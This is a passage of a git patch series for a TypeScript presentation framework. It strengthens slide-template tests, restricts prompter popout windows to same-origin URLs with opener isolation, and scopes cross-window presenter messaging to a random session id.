=== 'x')).toHaveLength(1); + assertLifecycle(stack, ctx(makeStage())); + + const bullets = bulletList('opt-bullets', { + eyebrow: 'eb', + title: 't', + bullets: ['x', 'y'], + staggerMs: 200, + }); + const bulletsRoot = renderRoot(bullets, 'opt-bullets'); + expectClassText(bulletsRoot, 'eyebrow', 'eb'); + expect( + findAll(bulletsRoot, (node) => node.getAttribute('style') === '--bullet-delay: 700ms'), + ).toHaveLength(1); + assertLifecycle(bullets, ctx(makeStage())); }); it('introGrid roles with logos and primary flag', () => { - assertLifecycle( - introGrid('opt-intro', { - title: 't', - roles: [{ logoSrc: '/a.png', logoAlt: 'a', role: 'lead', primary: true }, { role: 'co' }], - }), - ctx(makeStage()), - ); + const scene = introGrid('opt-intro', { + title: 't', + roles: [{ logoSrc: '/a.png', logoAlt: 'a', role: 'lead', primary: true }, { role: 'co' }], + }); + expect(scene.assets).toEqual(['/a.png']); + const root = renderRoot(scene, 'opt-intro'); + expect(findAllByClass(root, 'primary')).toHaveLength(1); + const logo = requireNode(findByAttr(root, 'src', '/a.png'), 'expected intro logo'); + expect(logo.getAttribute('alt')).toBe('a'); + assertLifecycle(scene, ctx(makeStage())); }); it('compare with headline', () => { - assertLifecycle( - compare('opt-compare', { headline: 'vs', left: 'a', right: 'b' }), - ctx(makeStage()), - ); + const scene = compare('opt-compare', { headline: 'vs', left: 'a', right: 'b' }); + expectClassText(renderRoot(scene, 'opt-compare'), 'headline', 'vs'); + assertLifecycle(scene, ctx(makeStage())); }); it('screenshotCallouts with multiple callouts', () => { - assertLifecycle( - screenshotCallouts('opt-shot', { - imageSrc: '/img.png', - imageAlt: 'alt', - callouts: [ - { x: 10, y: 20, text: 'a' }, - { x: 30, y: 40, text: 'b' }, - ], - }), - ctx(makeStage()), - ); + const scene = screenshotCallouts('opt-shot', { + imageSrc: '/img.png', + imageAlt: 'alt', + callouts: [ + { x: 10, y: 20, text: 'a' }, + { x: 30, y: 40, text: 'b' }, + ], + }); + expect(scene.assets).toEqual(['/img.png']); + const root = renderRoot(scene, 'opt-shot'); + const image = requireNode(findByAttr(root, 'src', '/img.png'), 'expected screenshot image'); + expect(image.getAttribute('alt')).toBe('alt'); + expect(findAllByClass(root, 'callout').map((node) => node.textContent)).toEqual(['a', 'b']); + assertLifecycle(scene, ctx(makeStage())); }); it('metricTicker create + cleanup tears down the interval', () => { @@ -313,208 +422,283 @@ describe('L2 templates — optional-branch coverage', () => { }); const stage = makeStage(); expect(() => scene.create(ctx(stage))).not.toThrow(); + const root = requireNode( + stage.querySelector('[data-pulsar-template="opt-ticker"]'), + 'ticker root', + ); + expectClassText(root, 'eyebrow', 'eb'); + expect( + findAll(root, (node) => node.getAttribute('data-metric') !== null).map( + (node) => node.textContent, + ), + ).toEqual(['1', '$100k']); expect(() => scene.cleanup(ctx(stage))).not.toThrow(); // should stop the interval }); it('terminal exercises every script step kind', () => { - assertLifecycle( - terminal('opt-term', { - script: [ - { t: 'user', text: 'ls' }, - { t: 'agent', text: 'ok' }, - { t: 'tool', text: 'curl' }, - { t: 'output', text: 'two\nlines' }, - { t: 'wait', ms: 50 }, - { t: 'popout', text: 'BOOM' }, - ], - typeBaseMs: 1, - }), - ctx(makeStage()), - ); + const scene = terminal('opt-term', { + script: [ + { t: 'user', text: 'ls' }, + { t: 'agent', text: 'ok' }, + { t: 'tool', text: 'curl' }, + { t: 'output', text: 'two\nlines' }, + { t: 'wait', ms: 50 }, + { t: 'popout', text: 'BOOM' }, + ], + typeBaseMs: 1, + }); + expect(renderRoot(scene, 'opt-term').querySelector('.term')).not.toBeNull(); + expect(scene.captions.map((caption) => caption.text)).toEqual([ + 'ls', + 'ok', + 'curl', + 'two\nlines', + ]); + assertLifecycle(scene, ctx(makeStage())); }); it('placard with no subtitle + quote with no attribution + centerpiece with no attr', () => { - assertLifecycle(placard('opt-pl', { line1: 'solo' }), ctx(makeStage())); - assertLifecycle(quote('opt-q', { text: 'lone' }), ctx(makeStage())); - assertLifecycle(centerpiece('opt-cp', { quote: 'lonely' }), ctx(makeStage())); + const pl = placard('opt-pl', { line1: 'solo' }); + const plRoot = renderRoot(pl, 'opt-pl'); + expectClassText(plRoot, 'placard__title', 'solo'); + expect(findByClass(plRoot, 'placard__sub')).toBeNull(); + assertLifecycle(pl, ctx(makeStage())); + + const q = quote('opt-q', { text: 'lone' }); + const qRoot = renderRoot(q, 'opt-q'); + expectClassText(qRoot, 'quote__text', 'lone'); + expect(findByClass(qRoot, 'quote__attr')).toBeNull(); + assertLifecycle(q, ctx(makeStage())); + + const cp = centerpiece('opt-cp', { quote: 'lonely' }); + const cpRoot = renderRoot(cp, 'opt-cp'); + expectClassText(cpRoot, 'centerpiece__quote', 'lonely'); + expect(findByClass(cpRoot, 'centerpiece__attr')).toBeNull(); + assertLifecycle(cp, ctx(makeStage())); }); it('actHeader + outlineTitle with custom prefix', () => { - assertLifecycle(actHeader('opt-ah', { act: 'X', section: 'Late' }), ctx(makeStage())); - assertLifecycle( - outlineTitle('opt-ot', { index: 99, title: 'Beyond', prefix: 'Chapter' }), - ctx(makeStage()), - ); - assertLifecycle(outlineTitle('opt-ot2', { index: 5, title: 'Mid' }), ctx(makeStage())); + const ah = actHeader('opt-ah', { act: 'X', section: 'Late' }); + expectClassText(renderRoot(ah, 'opt-ah'), 'act__numeral', 'Act X'); + assertLifecycle(ah, ctx(makeStage())); + + const custom = outlineTitle('opt-ot', { index: 99, title: 'Beyond', prefix: 'Chapter' }); + expectClassText(renderRoot(custom, 'opt-ot'), 'outline__index', 'Chapter 99'); + assertLifecycle(custom, ctx(makeStage())); + + const roman = outlineTitle('opt-ot2', { index: 5, title: 'Mid' }); + expectClassText(renderRoot(roman, 'opt-ot2'), 'outline__index', 'Section V'); + assertLifecycle(roman, ctx(makeStage())); }); it('incidentPlate with bg + sub', () => { - assertLifecycle( - incidentPlate('opt-ip', { - time: '03:14 UTC', - headline: 'BRIDGE COLLAPSE', - sub: 'no casualties yet', - bgSrc: '/bg.png', - bgAlt: 'bridge', - }), - ctx(makeStage()), - ); + const scene = incidentPlate('opt-ip', { + time: '03:14 UTC', + headline: 'BRIDGE COLLAPSE', + sub: 'no casualties yet', + bgSrc: '/bg.png', + bgAlt: 'bridge', + }); + expect(scene.assets).toEqual(['/bg.png']); + const root = renderRoot(scene, 'opt-ip'); + const bg = requireNode(findByClass(root, 'incident-plate__bg'), 'expected incident bg'); + expect(bg.getAttribute('style')).toBe('background-image: url(/bg.png)'); + expect(bg.getAttribute('aria-label')).toBe('bridge'); + expectClassText(root, 'incident-plate__sub', 'no casualties yet'); + assertLifecycle(scene, ctx(makeStage())); }); it('operatorDossier renders all rows', () => { - assertLifecycle( - operatorDossier('opt-od', { - handle: '@drift', - rows: [ - { k: 'origin', v: 'unknown' }, - { k: 'first seen', v: '2025-04' }, - { k: 'reach', v: 'global' }, - ], - }), - ctx(makeStage()), - ); + const scene = operatorDossier('opt-od', { + handle: '@drift', + rows: [ + { k: 'origin', v: 'unknown' }, + { k: 'first seen', v: '2025-04' }, + { k: 'reach', v: 'global' }, + ], + }); + const root = renderRoot(scene, 'opt-od'); + expectClassText(root, 'dossier__handle', '@drift'); + expect(findAllByClass(root, 'dossier__row')).toHaveLength(3); + assertLifecycle(scene, ctx(makeStage())); }); it('splitPaneTerminalDoc with eyebrow + headline + canted doc + caption', () => { - assertLifecycle( - splitPaneTerminalDoc('opt-sptd', { - eyebrow: 'EB', - headline: 'CHATBOT', - leftScript: [ - { role: 'user', text: 'q' }, - { role: 'agent', text: 'a' }, - { role: 'tool', text: 'curl', base: 5 }, - { role: 'output', text: 'ok', afterMs: 5 }, - ], - rightDoc: { imgSrc: '/d.png', imgAlt: 'd', caption: 'cap', cantDegrees: 4 }, - typeBaseMs: 1, - }), - ctx(makeStage()), - ); + const scene = splitPaneTerminalDoc('opt-sptd', { + eyebrow: 'EB', + headline: 'CHATBOT', + leftScript: [ + { role: 'user', text: 'q' }, + { role: 'agent', text: 'a' }, + { role: 'tool', text: 'curl', base: 5 }, + { role: 'output', text: 'ok', afterMs: 5 }, + ], + rightDoc: { imgSrc: '/d.png', imgAlt: 'd', caption: 'cap', cantDegrees: 4 }, + typeBaseMs: 1, + }); + expect(scene.assets).toEqual(['/d.png']); + const root = renderRoot(scene, 'opt-sptd'); + expectClassText(root, 'splitpane__eyebrow', 'EB'); + expectClassText(root, 'splitpane__headline', 'CHATBOT'); + expectClassText(root, 'splitpane__doc', ''); + const doc = requireNode(findByClass(root, 'splitpane__doc'), 'expected splitpane doc'); + expect(doc.getAttribute('style')).toBe('transform: rotate(4deg)'); + const img = requireNode(findByAttr(root, 'src', '/d.png'), 'expected splitpane image'); + expect(img.getAttribute('alt')).toBe('d'); + expect(findAll(root, (node) => node.textContent === 'cap')).toHaveLength(1); + assertLifecycle(scene, ctx(makeStage())); }); it('activityFeedPayoff with eyebrow + headline + all entry types + payoff title', () => { - assertLifecycle( - activityFeedPayoff('opt-afp', { - eyebrow: 'EB', - headline: 'OSINT', - feed: [ - { type: 'search', text: 'who is X' }, - { type: 'read', text: 'wiki', afterMs: 5 }, - { type: 'think', text: 'reasoning' }, + const scene = activityFeedPayoff('opt-afp', { + eyebrow: 'EB', + headline: 'OSINT', + feed: [ + { type: 'search', text: 'who is X' }, + { type: 'read', text: 'wiki', afterMs: 5 }, + { type: 'think', text: 'reasoning' }, + ], + payoff: { + title: 'Dossier', + rows: [ + { label: 'name', value: 'X' }, + { label: 'role', value: '[[CEO]]' }, ], - payoff: { - title: 'Dossier', - rows: [ - { label: 'name', value: 'X' }, - { label: 'role', value: '[[CEO]]' }, - ], - }, - typeBaseMs: 1, - }), - ctx(makeStage()), - ); + }, + typeBaseMs: 1, + }); + const root = renderRoot(scene, 'opt-afp'); + expectClassText(root, 'afp__eyebrow', 'EB'); + expectClassText(root, 'afp__headline', 'OSINT'); + expectClassText(root, 'afp__payoff-title', 'Dossier'); + expect(findByAttr(root, 'data-afp-feed')).not.toBeNull(); + expect(findByAttr(root, 'data-afp-payoff')).not.toBeNull(); + assertLifecycle(scene, ctx(makeStage())); }); it('haulCitations with eyebrow + headline + hot row mod + citation title', () => { - assertLifecycle( - haulCitations('opt-hc', { - eyebrow: 'EB', - headline: 'HAUL', - haul: [ - { count: '12,847', label: 'records', mod: 'hot' }, - { count: '100%', label: 'coverage' }, + const scene = haulCitations('opt-hc', { + eyebrow: 'EB', + headline: 'HAUL', + haul: [ + { count: '12,847', label: 'records', mod: 'hot' }, + { count: '100%', label: 'coverage' }, + ], + citations: { + title: 'Sources', + rows: [ + { source: 'foo.com', quote: 'breach' }, + { source: 'bar.com', quote: 'leaked' }, ], - citations: { - title: 'Sources', - rows: [ - { source: 'foo.com', quote: 'breach' }, - { source: 'bar.com', quote: 'leaked' }, - ], - }, - staggerMs: 100, - }), - ctx(makeStage()), - ); + }, + staggerMs: 100, + }); + const root = renderRoot(scene, 'opt-hc'); + expectClassText(root, 'hc__eyebrow', 'EB'); + expectClassText(root, 'hc__headline', 'HAUL'); + expectClassText(root, 'hc__citations-title', 'Sources'); + const hot = requireNode(findByClass(root, 'hc__row--hot'), 'expected hot haul row'); + expect(hot.getAttribute('style')).toBe('--row-delay: 0ms'); + assertLifecycle(scene, ctx(makeStage())); }); it('chatTranscript with title + alert flag + doc', () => { - assertLifecycle( - chatTranscript('opt-ct', { - title: 'Signal export', - messages: [ - { handle: '@a', text: 'safe' }, - { handle: '@b', text: 'unsafe', alert: true, afterMs: 5 }, - ], - perBeatMs: 50, - doc: { imgSrc: '/d.png', imgAlt: 'd', caption: 'doc', cantDegrees: -3 }, - }), - ctx(makeStage()), - ); + const scene = chatTranscript('opt-ct', { + title: 'Signal export', + messages: [ + { handle: '@a', text: 'safe' }, + { handle: '@b', text: 'unsafe', alert: true, afterMs: 5 }, + ], + perBeatMs: 50, + doc: { imgSrc: '/d.png', imgAlt: 'd', caption: 'doc', cantDegrees: -3 }, + }); + expect(scene.assets).toEqual(['/d.png']); + const root = renderRoot(scene, 'opt-ct'); + expectClassText(root, 'ct__title', 'Signal export'); + expect(findByClass(root, 'ct__msg--alert')).not.toBeNull(); + const doc = requireNode(findByClass(root, 'ct__doc'), 'expected transcript doc'); + expect(doc.getAttribute('style')).toBe('transform: rotate(-3deg)'); + const img = requireNode(findByAttr(root, 'src', '/d.png'), 'expected transcript image'); + expect(img.getAttribute('alt')).toBe('d'); + expect(findAll(root, (node) => node.textContent === 'doc')).toHaveLength(1); + assertLifecycle(scene, ctx(makeStage())); }); it('cardCarousel with eyebrow + sub + src + per-card dwell', () => { - assertLifecycle( - cardCarousel('opt-cc', { - eyebrow: 'EB', - dwellMs: 50, - cards: [ - { headline: 'A', sub: 'subA', src: 'src.com' }, - { headline: 'B', dwellMs: 25 }, - ], - }), - ctx(makeStage()), - ); + const scene = cardCarousel('opt-cc', { + eyebrow: 'EB', + dwellMs: 50, + cards: [ + { headline: 'A', sub: 'subA', src: 'src.com' }, + { headline: 'B', dwellMs: 25 }, + ], + }); + expectClassText(renderRoot(scene, 'opt-cc'), 'cc__eyebrow', 'EB'); + expect(scene.captions.map((caption) => caption.text)).toEqual(['A', 'B']); + assertLifecycle(scene, ctx(makeStage())); }); it('splitDialogueEmail with eyebrow + headline + signoff + footer + base override', () => { - assertLifecycle( - splitDialogueEmail('opt-sde', { - eyebrow: 'EB', - headline: 'PHISH', - dialogue: [ - { handle: '@a', text: 'plan it' }, - { handle: '@b', text: 'go', base: 5, afterMs: 5 }, - ], - email: { - from: 'a@x', - to: 'b@x', - subject: 'urgent', - bodyParagraphs: ['line one', 'line [[two]]'], - signoff: '— [[alex]]', - footer: 'sent 09:12 MDT', - }, - typeBaseMs: 1, - emailRevealAfterMs: 10, - }), - ctx(makeStage()), - ); + const scene = splitDialogueEmail('opt-sde', { + eyebrow: 'EB', + headline: 'PHISH', + dialogue: [ + { handle: '@a', text: 'plan it' }, + { handle: '@b', text: 'go', base: 5, afterMs: 5 }, + ], + email: { + from: 'a@x', + to: 'b@x', + subject: 'urgent', + bodyParagraphs: ['line one', 'line [[two]]'], + signoff: '— [[alex]]', + footer: 'sent 09:12 MDT', + }, + typeBaseMs: 1, + emailRevealAfterMs: 10, + }); + const root = renderRoot(scene, 'opt-sde'); + expectClassText(root, 'sde__eyebrow', 'EB'); + expectClassText(root, 'sde__headline', 'PHISH'); + expectClassText(root, 'sde__email-footer', 'sent 09:12 MDT'); + expectClassText(root, 'sde__email-signoff', ''); + expect(findByAttr(root, 'data-sde-dialogue')).not.toBeNull(); + expect(findByAttr(root, 'data-sde-email')).not.toBeNull(); + assertLifecycle(scene, ctx(makeStage())); }); it('dropList with eyebrow + headline + sub + hot mod', () => { - assertLifecycle( - dropList('opt-dl', { - eyebrow: 'EB', - headline: 'UPGRADES', - staggerMs: 50, - items: [{ label: 'fast', sub: 'really fast', mod: 'hot' }, { label: 'cheap' }], - }), - ctx(makeStage()), - ); + const scene = dropList('opt-dl', { + eyebrow: 'EB', + headline: 'UPGRADES', + staggerMs: 50, + items: [{ label: 'fast', sub: 'really fast', mod: 'hot' }, { label: 'cheap' }], + }); + const root = renderRoot(scene, 'opt-dl'); + expectClassText(root, 'dl__eyebrow', 'EB'); + expectClassText(root, 'dl__headline', 'UPGRADES'); + expectClassText(root, 'dl__sub', 'really fast'); + const hot = requireNode(findByClass(root, 'dl__item--hot'), 'expected hot drop item'); + expect(hot.getAttribute('style')).toBe('--drop-delay: 0ms'); + assertLifecycle(scene, ctx(makeStage())); }); it('chatPickList with promptHandle + sub + pickCaption', () => { - assertLifecycle( - chatPickList('opt-cpl', { - promptHandle: '@orch', - promptMessage: 'pick one', - items: [{ label: 'A', sub: 'option A' }, { label: 'B' }, { label: 'C' }], - pickIndex: 2, - staggerMs: 25, - pickAfterMs: 25, - pickCaption: 'committed', - }), - ctx(makeStage()), - ); + const scene = chatPickList('opt-cpl', { + promptHandle: '@orch', + promptMessage: 'pick one', + items: [{ label: 'A', sub: 'option A' }, { label: 'B' }, { label: 'C' }], + pickIndex: 2, + staggerMs: 25, + pickAfterMs: 25, + pickCaption: 'committed', + }); + const root = renderRoot(scene, 'opt-cpl'); + expectClassText(root, 'cpl__prompt-handle', '@orch'); + expectClassText(root, 'cpl__sub', 'option A'); + expectClassText(root, 'cpl__pick-caption', 'committed'); + expect(findAll(root, (node) => node.getAttribute('data-cpl-index') !== null)).toHaveLength(3); + expect(findByAttr(root, 'data-cpl-caption')).not.toBeNull(); + assertLifecycle(scene, ctx(makeStage())); }); }); From 550f68177a647cf40545c741699f144497b13202 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 24 May 2026 05:26:45 +0200 Subject: [PATCH 04/29] fix: harden prompter popout URLs --- changelog.d/150.fixed.md | 1 + src/system/presenter/prompter-window.ts | 55 +++++++++++++++++++++--- tests/system/prompter-window-url.test.ts | 55 +++++++++++++++++++++--- 3 files changed, 99 insertions(+), 12 deletions(-) create mode 100644 changelog.d/150.fixed.md diff --git a/changelog.d/150.fixed.md b/changelog.d/150.fixed.md new file mode 100644 index 0000000..7cb3d2d --- /dev/null +++ b/changelog.d/150.fixed.md @@ -0,0 +1 @@ +Prompter popout windows now build same-origin `mode=prompter` URLs with the platform URL parser and isolate the opened window from `window.opener`. diff --git a/src/system/presenter/prompter-window.ts b/src/system/presenter/prompter-window.ts index 4016a7d..0e89714 100644 --- a/src/system/presenter/prompter-window.ts +++ b/src/system/presenter/prompter-window.ts @@ -12,10 +12,45 @@ import type { PrompterRenderer, PrompterScript } from '../../runtime/prompter'; -const buildPrompterUrl = (baseUrl: string): string => { - if (baseUrl.includes('mode=')) return baseUrl.replace(/mode=[^&]*/, 'mode=prompter'); - if (baseUrl.includes('?')) return `${baseUrl}&mode=prompter`; - return `${baseUrl}?mode=prompter`; +const DEFAULT_PROMPTER_WINDOW_FEATURES = 'width=900,height=700,menubar=no,toolbar=no'; +const POPUP_ISOLATION_FEATURES = ['noopener', 'noreferrer'] as const; + +const buildPrompterUrl = ( + baseUrl: string, + location: Pick, +): string | null => { + let url: URL; + try { + url = new URL(baseUrl, location.href); + } catch { + return null; + } + + if (url.origin !== location.origin) return null; + url.searchParams.set('mode', 'prompter'); + return url.href; +}; + +const withPopupIsolationFeatures = (features: string): string => { + const tokens = features + .split(',') + .map((feature) => feature.trim()) + .filter((feature) => feature.length > 0); + const present = new Set(tokens.map((feature) => feature.toLowerCase())); + for (const feature of POPUP_ISOLATION_FEATURES) { + if (!present.has(feature)) tokens.push(feature); + } + return tokens.join(','); +}; + +const isolateOpenedWindow = (opened: Window | null): Window | null => { + if (opened === null) return null; + try { + opened.opener = null; + } catch { + // Some browsers return a WindowProxy that rejects opener mutation. + } + return opened; }; /** @@ -26,10 +61,16 @@ const buildPrompterUrl = (baseUrl: string): string => { */ export const openPrompterWindow = ( baseUrl: string, - features = 'width=900,height=700,menubar=no,toolbar=no', + features = DEFAULT_PROMPTER_WINDOW_FEATURES, ): Window | null => { - const url = buildPrompterUrl(baseUrl); - return globalThis.window?.open(url, '_blank', features) ?? null; + const win = globalThis.window; + if (win === undefined) return null; + + const url = buildPrompterUrl(baseUrl, win.location); + if (url === null) return null; + + const opened = win.open(url, '_blank', withPopupIsolationFeatures(features)); + return isolateOpenedWindow(opened); }; /** diff --git a/tests/system/prompter-window-url.test.ts b/tests/system/prompter-window-url.test.ts index 1417a0f..2d03646 100644 --- a/tests/system/prompter-window-url.test.ts +++ b/tests/system/prompter-window-url.test.ts @@ -7,16 +7,21 @@ describe('openPrompterWindow', () => { const realOpen = globalThis.window?.open ?? null; const originalWindow = globalThis.window; let opened: Array<{ url: string; target: string; features: string }> = []; + let openedWindow: Window & { opener: unknown }; beforeEach(() => { opened = []; + openedWindow = { closed: false, opener: { source: 'presenter' } } as Window & { + opener: unknown; + }; // Stub `window.open`. Vitest's default Node env has no window; // attach one minimally for this test. Object.defineProperty(globalThis, 'window', { value: { + location: new URL('https://pulsar.test/workbench/current?composition=current'), open: (url: string, target: string, features: string) => { opened.push({ url, target, features }); - return { closed: false } as unknown as Window; + return openedWindow; }, }, configurable: true, @@ -37,21 +42,61 @@ describe('openPrompterWindow', () => { it('replaces an existing mode= param', () => { openPrompterWindow('/?composition=demo&mode=present'); - expect(opened[0]?.url).toBe('/?composition=demo&mode=prompter'); + expect(opened[0]?.url).toBe('https://pulsar.test/?composition=demo&mode=prompter'); }); it('appends mode=prompter to a URL with other params', () => { openPrompterWindow('/?composition=demo'); - expect(opened[0]?.url).toBe('/?composition=demo&mode=prompter'); + expect(opened[0]?.url).toBe('https://pulsar.test/?composition=demo&mode=prompter'); }); it('uses ?mode=prompter for a URL with no query', () => { openPrompterWindow('/'); - expect(opened[0]?.url).toBe('/?mode=prompter'); + expect(opened[0]?.url).toBe('https://pulsar.test/?mode=prompter'); + }); + + it('does not rewrite query values containing mode=', () => { + openPrompterWindow('/?composition=demo¬e=has-mode=inside'); + expect(opened[0]?.url).toBe( + 'https://pulsar.test/?composition=demo¬e=has-mode%3Dinside&mode=prompter', + ); + }); + + it('preserves hashes after the prompter mode query parameter', () => { + openPrompterWindow('/deck?composition=demo#speaker-notes'); + expect(opened[0]?.url).toBe( + 'https://pulsar.test/deck?composition=demo&mode=prompter#speaker-notes', + ); + }); + + it('resolves relative URLs against the current window location', () => { + openPrompterWindow('./notes?scene=intro'); + expect(opened[0]?.url).toBe('https://pulsar.test/workbench/notes?scene=intro&mode=prompter'); + }); + + it('accepts absolute same-origin URLs', () => { + openPrompterWindow('https://pulsar.test/presenter?composition=demo&mode=loop#notes'); + expect(opened[0]?.url).toBe( + 'https://pulsar.test/presenter?composition=demo&mode=prompter#notes', + ); + }); + + it('does not open cross-origin URLs', () => { + const result = openPrompterWindow('https://external.example/?composition=demo'); + expect(result).toBeNull(); + expect(opened).toEqual([]); }); it('forwards custom features arg', () => { openPrompterWindow('/', 'width=400'); - expect(opened[0]?.features).toBe('width=400'); + const features = opened[0]?.features.split(',').map((feature) => feature.trim()); + expect(features).toEqual(expect.arrayContaining(['width=400', 'noopener', 'noreferrer'])); + }); + + it('isolates the opened window from the opener', () => { + const result = openPrompterWindow('/'); + expect(result).toBe(openedWindow); + expect(opened[0]?.target).toBe('_blank'); + expect(openedWindow.opener).toBeNull(); }); }); From 8d28c6086f23b9bfb80b6fea7e7bfc1283355f1d Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 24 May 2026 05:45:06 +0200 Subject: [PATCH 05/29] fix: scope presenter bridge sessions --- changelog.d/151.fixed.md | 1 + src/main.ts | 17 ++-- src/system/presenter/bridge.ts | 67 +++++++++++++--- src/system/presenter/index.ts | 5 ++ src/system/presenter/prompter-window.ts | 17 +++- tests/system/presenter-bridge.test.ts | 73 ++++++++++++++++++ tests/system/prompter-window-url.test.ts | 98 ++++++++++++++++++------ 7 files changed, 239 insertions(+), 39 deletions(-) create mode 100644 changelog.d/151.fixed.md diff --git a/changelog.d/151.fixed.md b/changelog.d/151.fixed.md new file mode 100644 index 0000000..37f9512 --- /dev/null +++ b/changelog.d/151.fixed.md @@ -0,0 +1 @@ +Presenter BroadcastChannel traffic is now scoped to an ephemeral workbench session, and prompter popout URLs carry that scope so independent same-origin presentations do not drive each other. diff --git a/src/main.ts b/src/main.ts index 6344af9..650c8a0 100644 --- a/src/main.ts +++ b/src/main.ts @@ -61,6 +61,7 @@ import { createKeyboardPresenterSource, createPracticeRenderer, createPresenterBridge, + getPresenterSessionId, } from './system/presenter'; import { defaultTransitions } from './system/transitions'; import { WORKBENCH_COMPOSITIONS, WORKBENCH_SCENES } from './workbench-graph'; @@ -372,13 +373,17 @@ const presenterKeyboard = createKeyboardPresenterSource({ }, }); -// Cross-window bridge: same-origin pulsar windows (present + popped- -// out prompter) share `BroadcastChannel('pulsar-presenter')` so a -// keystroke in either window drives the same controller. Every local -// keyboard command is broadcast outbound; inbound commands fan into -// the loader alongside the local keyboard source via +// Cross-window bridge: same-origin pulsar windows in this workbench +// session (present + popped-out prompter) share a scoped presenter +// BroadcastChannel so a keystroke in either window drives the same +// controller without leaking to another local presentation. Every +// local keyboard command is broadcast outbound; inbound commands fan +// into the loader alongside the local keyboard source via // `combinePresenterSources`. -const presenterBridge: PresenterBridgeHandle = createPresenterBridge(); +const presenterSessionId = getPresenterSessionId(); +const presenterBridge: PresenterBridgeHandle = createPresenterBridge({ + sessionId: presenterSessionId, +}); presenterKeyboard.source.subscribe((cmd) => presenterBridge.send(cmd)); const combinedPresenterSource = combinePresenterSources( presenterKeyboard.source, diff --git a/src/system/presenter/bridge.ts b/src/system/presenter/bridge.ts index 78d2eb4..977d856 100644 --- a/src/system/presenter/bridge.ts +++ b/src/system/presenter/bridge.ts @@ -1,11 +1,11 @@ // Pulsar L2 presenter — cross-window command bridge. // -// Same-origin windows (the present window + a popped-out prompter -// window) share a `BroadcastChannel('pulsar-presenter')` so a keystroke -// in either drives the same `PresenterController`. The bridge is -// symmetric: each window subscribes for inbound commands AND emits -// local keyboard events outbound, but a window does NOT re-broadcast -// commands it received over the channel (no echo loop). +// Same-origin windows in one workbench session (the present window + a +// popped-out prompter window) share a scoped presenter BroadcastChannel +// so a keystroke in either drives the same `PresenterController`. The +// bridge is symmetric: each window subscribes for inbound commands AND +// emits local keyboard events outbound, but a window does NOT re- +// broadcast commands it received over the channel (no echo loop). // // Use `combinePresenterSources` to merge multiple sources (keyboard + // bridge.source) into one source the loader can subscribe to. @@ -16,12 +16,55 @@ import { isPresenterCommand, } from '../../runtime/presenter'; -/** Default channel name used by every pulsar workbench. */ +/** Base channel prefix; runtime bridges append a per-session scope. */ export const DEFAULT_PRESENTER_CHANNEL = 'pulsar-presenter'; +export const PRESENTER_SESSION_QUERY_PARAM = 'pulsar-presenter-session'; + +const PRESENTER_SESSION_ID_FORM = /^[A-Za-z0-9_-]{8,128}$/; +let resolvedPresenterSessionId: string | null = null; + +export const isPresenterSessionId = (value: string): boolean => + PRESENTER_SESSION_ID_FORM.test(value); + +export const presenterChannelName = (sessionId: string): string => { + if (!isPresenterSessionId(sessionId)) { + throw new Error('presenter session id must be 8-128 URL-safe characters'); + } + return `${DEFAULT_PRESENTER_CHANNEL}:${sessionId}`; +}; + +const presenterSessionIdFromLocation = (location: Pick): string | null => { + let url: URL; + try { + url = new URL(location.href); + } catch { + return null; + } + const value = url.searchParams.get(PRESENTER_SESSION_QUERY_PARAM); + if (value === null || !isPresenterSessionId(value)) return null; + return value; +}; + +const createPresenterSessionId = (): string => { + const crypto = globalThis.crypto; + if (typeof crypto?.randomUUID === 'function') return crypto.randomUUID(); + throw new Error('secure random presenter session id source is unavailable'); +}; + +export const getPresenterSessionId = ( + location: Pick | undefined = globalThis.window?.location, +): string => { + if (resolvedPresenterSessionId !== null) return resolvedPresenterSessionId; + const fromLocation = location === undefined ? null : presenterSessionIdFromLocation(location); + resolvedPresenterSessionId = fromLocation ?? createPresenterSessionId(); + return resolvedPresenterSessionId; +}; export interface PresenterBridgeOptions { - /** Channel name. Defaults to {@link DEFAULT_PRESENTER_CHANNEL}. */ + /** Exact channel name override. Supplying this bypasses session scoping. */ readonly channelName?: string; + /** Per-workbench session id used to scope the default presenter channel. */ + readonly sessionId?: string; /** Optional sink for non-fatal errors (bad message, channel close). */ readonly onError?: (err: unknown) => void; } @@ -48,12 +91,16 @@ export interface PresenterBridgeHandle { export const createPresenterBridge = ( options: PresenterBridgeOptions = {}, ): PresenterBridgeHandle => { - const channelName = options.channelName ?? DEFAULT_PRESENTER_CHANNEL; const handlers = new Set<(cmd: PresenterCommand) => void>(); let disposed = false; // Guard for older runtimes / SSR / Node tests. const BC = (globalThis as { BroadcastChannel?: typeof BroadcastChannel }).BroadcastChannel; - const ch = typeof BC === 'function' ? new BC(channelName) : null; + const ch = + typeof BC === 'function' + ? new BC( + options.channelName ?? presenterChannelName(options.sessionId ?? getPresenterSessionId()), + ) + : null; if (ch !== null) { ch.onmessage = (event) => { const data = (event as MessageEvent).data; diff --git a/src/system/presenter/index.ts b/src/system/presenter/index.ts index f3306c8..a75a7d4 100644 --- a/src/system/presenter/index.ts +++ b/src/system/presenter/index.ts @@ -14,10 +14,15 @@ export { createPracticeRenderer, splitCaptionText } from './practice-renderer'; export type { PracticeRendererHandle, PracticeRendererHost } from './practice-renderer'; export { createChromePrompterRenderer, openPrompterWindow } from './prompter-window'; +export type { PrompterWindowOptions } from './prompter-window'; export { combinePresenterSources, createPresenterBridge, DEFAULT_PRESENTER_CHANNEL, + getPresenterSessionId, + isPresenterSessionId, + PRESENTER_SESSION_QUERY_PARAM, + presenterChannelName, } from './bridge'; export type { PresenterBridgeHandle, PresenterBridgeOptions } from './bridge'; diff --git a/src/system/presenter/prompter-window.ts b/src/system/presenter/prompter-window.ts index 0e89714..ceba0fe 100644 --- a/src/system/presenter/prompter-window.ts +++ b/src/system/presenter/prompter-window.ts @@ -11,13 +11,23 @@ // prompter window just needs to open the same URL with mode=prompter. import type { PrompterRenderer, PrompterScript } from '../../runtime/prompter'; +import { + PRESENTER_SESSION_QUERY_PARAM, + getPresenterSessionId, + isPresenterSessionId, +} from './bridge'; const DEFAULT_PROMPTER_WINDOW_FEATURES = 'width=900,height=700,menubar=no,toolbar=no'; const POPUP_ISOLATION_FEATURES = ['noopener', 'noreferrer'] as const; +export interface PrompterWindowOptions { + readonly presenterSessionId?: string; +} + const buildPrompterUrl = ( baseUrl: string, location: Pick, + presenterSessionId: string, ): string | null => { let url: URL; try { @@ -28,6 +38,7 @@ const buildPrompterUrl = ( if (url.origin !== location.origin) return null; url.searchParams.set('mode', 'prompter'); + url.searchParams.set(PRESENTER_SESSION_QUERY_PARAM, presenterSessionId); return url.href; }; @@ -62,11 +73,15 